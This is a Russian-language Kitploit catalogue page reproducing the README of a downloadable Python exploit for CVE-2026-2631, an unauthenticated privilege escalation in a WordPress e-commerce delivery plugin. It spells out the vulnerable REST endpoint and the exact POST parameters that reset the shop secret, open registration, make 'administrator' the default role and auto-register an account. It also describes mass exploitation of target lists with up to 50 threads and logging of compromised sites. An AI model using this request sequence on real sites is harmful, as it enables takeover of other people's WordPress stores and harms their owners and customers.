Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-2631 — Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Неаутентифицированное повышение привилегий | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-2631
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubnxploited/cve-2026-2631

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Неаутентифицированное повышение привилегий

Репозиторий
356 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Неаутентифицированное повышение привилегий

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Неаутентифицированное повышение привилегий

PoC / Эксплойт-скрипт: CVE-2026-2631.py
Автор: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Контакт: Telegram: @Kxploit


🧬 Обзор уязвимости

  • Плагин: Datalogics Ecommerce Delivery – Datalogics (WordPress)
  • Затронутые версии: < 2.6.60 (не включая)
  • Тип уязвимости: Неаутентифицированное повышение привилегий
  • CVE: CVE-2026-2631
  • CVSS v3.1: 9.8 (Critical)
    AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Дата публикации: 12 марта 2026 г.
  • Последнее обновление: 19 марта 2026 г.
  • Исследователь: Khaled Alenazi (Nxploited)

Плагин Datalogics Ecommerce Delivery – Datalogics предоставляет неаутентифицированную конечную точку:

/wp-json/gsf/v1/update-options

Этот скрипт использует данную конечную точку для:

  1. 💣 Сброса внутреннего ключа shop_secret с помощью уязвимого действия resetStoreConfigrations.
  2. 🔓 Включения регистрации пользователей: users_can_register = 1.
  3. 👑 Установки роли нового пользователя по умолчанию administrator: default_role = administrator.
  4. 🧑‍💻 Автоматической регистрации нового пользователя через форму регистрации WordPress:
    • wp-login.php?action=register

В случае успеха любой новый пользователь, созданный через форму регистрации, получит роль administrator.


⚙️ Возможности

  • ✅ Массовая эксплуатация множества целей WordPress (из файла).
  • ✅ Без аутентификации (не требуется логин/cookies).
  • ✅ Автоматический сброс shop_secret через уязвимую REST-конечную точку.
  • ✅ Автоматическое обновление опций WordPress:
    • users_can_register = 1
    • default_role = administrator
  • ✅ Автоматическая регистрация аккаунта с произвольными учётными данными.
  • ✅ Богатый TUI-вывод с использованием rich (цветная и обновляемая в реальном времени таблица).
  • ✅ Многопоточность с настраиваемым количеством потоков.
  • ✅ Запись результатов в Login_admin.txt.

📦 Требования

🐍 Среда выполнения

  • Python 3.x (рекомендуется 3.8+)

📚 Python-пакеты

Установите необходимые пакеты:

pip install -r requirements.txt

Пример requirements.txt:

requests
rich
urllib3

Или установите вручную:

pip install requests rich urllib3

🧪 Логика скрипта (общий поток)

Для каждой цели:

  1. Нормализация URL

    • Добавляет http://, если он отсутствует.
    • Удаляет завершающие слэши.
  2. Сброс shop_secret

    • Конечная точка:
      /wp-json/gsf/v1/update-options
    • Данные POST:
      • action = resetStoreConfigrations
      • shop_secret = <new_secret>
    • Ищет в ответе текст:
      • app secret key has been updated successfully
  3. Обновление опций WordPress

    • Та же конечная точка, с параметрами:
      • action = createUpdateOption
    • Два обновления опций:
      1. option_key = users_can_register, option_value = 1
      2. option_key = default_role, option_value = administrator
    • Признак успеха:
      • wordpress option has been created or updated successfully
  4. Проверка открытой регистрации

    • URL:
      /wp-login.php?action=register
    • Проверяет HTML на наличие:
      • Users can register, Anyone can register, user_registration, registerform
    • Или обнаруживает явное сообщение:
      • user registration is currently not allowed
  5. Попытка регистрации пользователя

    • Тот же URL регистрации.
    • Извлекает _wpnonce из скрытого поля ввода, если он присутствует.
    • Отправляет POST-запрос регистрации:
      • user_login, user_email
      • user_pass/user_pass2, если поля пароля существуют
      • _wpnonce, _wp_http_referer, redirect_to, wp-submit=Register
    • Определяет успех по:
      • registration complete, check your email, user registered
    • Если имя пользователя уже существует:
      • Помечает как успех: user_already_exists
  6. Логирование

    • Каждая успешная операция обновления опций (с успешной регистрацией или без неё) записывает строку в:
      • Login_admin.txt
    • Формат:
      <site> | register_url: <url> | shop_secret: <secret> | <details>
      

🧵 Модель многопоточности

  • Считывает все цели из list.txt (или пользовательского файла).
  • Разбивает цели на N блоков с помощью chunkify.
  • Запускает N рабочих потоков, каждый обрабатывает свой список целей.
  • Использует общую Queue для сообщений о статусе, передаваемых потоку вывода.
  • Отдельный поток вывода (printer_loop) обновляет живую таблицу rich:
    • Показывает индекс, сайт, статус (SUCCESS/FAILED/ERROR) и детали.
    • Отображает общее количество обработанных целей и имя выходного файла.

🚀 Использование

1️⃣ Базовый запуск

python3 CVE-2026-2631.py

В интерактивном режиме будут запрошены:

  1. Файл с целями

    • Запрос: Targets file (one host/URL per line) [list.txt]:
    • По умолчанию: list.txt
    • Каждая строка: домен или полный URL
      • Примеры:
        • victim.com
        • https://target-site.com
        • http://example.org/blog
  2. Количество потоков

    • Запрос: Threads (1-50) [10]:
    • По умолчанию: 10
    • Максимум: 50
      Больше потоков — быстрее, но выше нагрузка на вашу систему и цели.
  3. Значение shop_secret

    • Запрос: shop_secret [Nxploited_newSecret]:
    • По умолчанию: Nxploited_newSecret
      Это новый секретный ключ, отправляемый в resetStoreConfigrations.
  4. Учётные данные для регистрации

    • Registration username [Nx_test1]:
    • Registration email [[email protected]]:
    • Registration password [Nx_adminSA]:

Эти учётные данные будут использованы для попытки регистрации на каждой уязвимой цели.


2️⃣ Формат файла с целями

Создайте list.txt (или любой другой файл) с одной целью в строке:

example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

Скрипт будет:

  • Автоматически добавлять http://, если он отсутствует.
  • Удалять завершающий /.

3️⃣ Вывод и результаты

  • Все успешные операции (даже если регистрация пользователя не удалась, но опции установлены) записываются в:

    Login_admin.txt

  • Пример строки:

    http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
    
  • Примеры статусов в живой таблице:

    • ✅ SUCCESS – опции установлены и/или пользователь зарегистрирован.
    • ❌ FAILED – сброс/опции не удались, уязвимость не эксплуатируется.
    • ⚠️ ERROR – исключение, сетевые ошибки, таймауты и т. д.

🧱 HTTP-конечные точки и параметры

🔓 Уязвимая REST-конечная точка

POST /wp-json/gsf/v1/update-options

1. Сброс shop_secret

action=resetStoreConfigrations
shop_secret=<new_secret>

2. Обновление опций

action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 Конечная точка регистрации

GET/POST /wp-login.php?action=register

Скрипт:

  • Извлекает _wpnonce, если он присутствует.
  • Отправляет данные регистрации с указанными именем пользователя, email и паролем (если поля существуют).

🔧 Внутреннее устройство скрипта (ключевые функции)

  • normalize_site(raw: str) -> str
    Нормализует URL целей.

  • send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
    Пытается выполнить действие resetStoreConfigrations.

Скачать инструмент